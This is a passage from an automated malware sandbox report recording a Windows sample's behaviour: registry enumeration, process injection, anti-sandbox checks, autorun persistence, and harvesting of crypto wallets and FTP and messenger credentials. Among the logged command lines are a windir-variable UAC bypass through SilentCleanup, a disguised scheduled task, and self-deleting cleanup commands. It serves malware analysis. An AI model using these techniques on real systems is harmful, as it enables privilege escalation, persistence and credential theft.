RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40 base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d} base_handle: 0x80000002 key_handle: 0x00000670 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}	1	0
RegOpenKeyExW July 19, 2021, 10:32 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000001 key_handle: 0x00000000 options: 0 access: 0x00020019 regkey: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall		2
RegOpenKeyExA July 19, 2021, 10:31 a.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x00000388 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall	1	0
RegOpenKeyExW July 19, 2021, 10:31 a.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip base_handle: 0x80000002 key_handle: 0x0000037c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1	0
RegOpenKeyExW July 19, 2021, 10:31 a.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip base_handle: 0x80000002 key_handle: 0x00000384 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1	0
RegOpenKeyExW July 19, 2021, 10:31 a.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook base_handle: 0x80000002 key_handle: 0x0000038c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1	0

Terminates another process (6 events)

Time & API	Arguments	Status
NtTerminateProcess July 19, 2021, 10:32 a.m.	status_code: 0xffffffff process_identifier: 3936 process_handle: 0x000002ac
NtTerminateProcess July 19, 2021, 10:32 a.m.	status_code: 0xffffffff process_identifier: 3936 process_handle: 0x000002ac	1
NtTerminateProcess July 19, 2021, 10:32 a.m.	status_code: 0xffffffff process_identifier: 3972 process_handle: 0x000002bc
NtTerminateProcess July 19, 2021, 10:32 a.m.	status_code: 0xffffffff process_identifier: 3972 process_handle: 0x000002bc	1
NtTerminateProcess July 19, 2021, 10:32 a.m.	status_code: 0xffffffff process_identifier: 3228 process_handle: 0x000002ac
NtTerminateProcess July 19, 2021, 10:32 a.m.	status_code: 0xffffffff process_identifier: 3228 process_handle: 0x000002ac	1

Uses Windows utilities for basic Windows functionality (14 events)

cmdline	C:\Windows\System32\cmd.exe /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe"
cmdline	cmd.exe /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	schtasks.exe /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmp824.tmp"
cmdline	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\zxcv.EXE"
cmdline	"C:\Windows\System32\cmd.exe" /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit
cmdline	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp"
cmdline	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe"
cmdline	taskkill /pid 2760
cmdline	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmp824.tmp"
cmdline	schtasks.exe /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp"

One or more of the buffers contains an embedded PE file (4 events)

buffer	Buffer with sha1: 8382485db0e6a0bd2a63dc666272009781398c66
buffer	Buffer with sha1: 520d0f21a1483b4f0a21ef8ac6e7320a9650e812
buffer	Buffer with sha1: 2d03658003ce6e527cfb893a0e6b9734326f27c5
buffer	Buffer with sha1: 6ca69d1f05c9c596d233d180be696fb699bcd598

Communicates with host for which no DNS query was performed (1 event)

host

34.89.184.90

Allocates execute permission to another process indicative of possible code injection (11 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3844 region_size: 73728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000036c	1	0
NtProtectVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 1511424 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00672000 process_handle: 0x00000540	1	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3936 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002a8		3221225496
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3972 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002b4		3221225496
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 4008 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002b8	1	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3228 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002a8		3221225496
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3184 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002b4	1	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3156 region_size: 73728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000368	1	0
NtProtectVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 1511424 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00672000 process_handle: 0x00000538	1	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 4076 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002a4	1	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3936 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002ac	1	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation July 19, 2021, 10:32 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

rc.exe tried to sleep 13641186 seconds, actually delayed analysis time by 13641186 seconds

Checks the CPU name from registry, possibly for anti-virtualization (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

Installs itself for autorun at Windows startup (2 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Rtzvmiu				reg_value	C:\Users\Public\Libraries\uimvztR.url
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Ghvhkln				reg_value	C:\Users\Public\Libraries\nlkhvhG.url

Attempts to access Bitcoin/ALTCoin wallets (45 events)

file	C:\Users\test22\AppData\Roaming\EditPlus\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\EditPlus\wallet.dat
file	C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe\wallet.dat
file	C:\Users\test22\AppData\Roaming\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe\wallet.dat
file	C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Thunderbird\wallets\wallet.dat
file	C:\Users\test22\AppData\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Sun\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Identities\wallet.dat
file	C:\Users\test22\AppData\Roaming\Identities\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Macromedia\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Microsoft\wallet.dat
file	C:\Users\test22\AppData\Roaming\HNC\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Adobe\wallet.dat
file	C:\Users\test22\AppData\Roaming\Mozilla\wallet.dat
file	C:\Users\test22\AppData\Roaming\Adobe\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Sun\wallet.dat
file	C:\Users\test22\AppData\Roaming\HNC\wallet.dat
file	C:\Users\test22\AppData\Roaming\wallet.dat
file	C:\Users\test22\AppData\Roaming\Thunderbird\wallet.dat
file	C:\Users\test22\AppData\wallet.dat
file	C:\Users\test22\AppData\Roaming\Microsoft\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Macromedia\wallet.dat
file	C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Mozilla\wallets\wallet.dat
file	C:\Users\test22\AppData\Roaming\Bitcoin\
file	C:\Users\test22\AppData\Roaming\Electrum\wallets\
file	C:\Users\test22\AppData\Roaming\Litecoin\
file	C:\Users\test22\AppData\Roaming\Namecoin\
file	C:\Users\test22\AppData\Roaming\Terracoin\
file	C:\Users\test22\AppData\Roaming\Primecoin\
file	C:\Users\test22\AppData\Roaming\Freicoin\
file	C:\Users\test22\AppData\Roaming\devcoin\
file	C:\Users\test22\AppData\Roaming\Franko\
file	C:\Users\test22\AppData\Roaming\Megacoin\
file	C:\Users\test22\AppData\Roaming\Infinitecoin\
file	C:\Users\test22\AppData\Roaming\Ixcoin\
file	C:\Users\test22\AppData\Roaming\Anoncoin\
file	C:\Users\test22\AppData\Roaming\BBQCoin\
file	C:\Users\test22\AppData\Roaming\digitalcoin\
file	C:\Users\test22\AppData\Roaming\Mincoin\
file	C:\Users\test22\AppData\Roaming\GoldCoin (GLD)\
file	C:\Users\test22\AppData\Roaming\YACoin\
file	C:\Users\test22\AppData\Roaming\Florincoin\

Attempts to detect Cuckoo Sandbox through the presence of a file (2 events)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent.py
file	C:\Python27\agent.pyw

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\filezilla\recentservers.xml
registry	HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Installs an hook procedure to monitor for mouse events (1 event)

Time & API	Arguments	Status	Return	Repeated
SetWindowsHookExW July 19, 2021, 10:32 a.m.	thread_identifier: 0 callback_function: 0x0050f84a hook_identifier: 14 (WH_MOUSE_LL) module_address: 0x00000000	1	131395	0

Harvests information related to installed instant messenger clients (1 event)

file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Manipulates memory of a non-child process indicative of process injection (10 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2568 manipulating memory of non-child process 3844
Process injection	Process 2852 manipulating memory of non-child process 3936
Process injection	Process 2852 manipulating memory of non-child process 3972
Process injection	Process 2856 manipulating memory of non-child process 3228
Process injection	Process 3476 manipulating memory of non-child process 3936
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3844 region_size: 73728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000036c	1	0	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3936 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002a8		3221225496	0
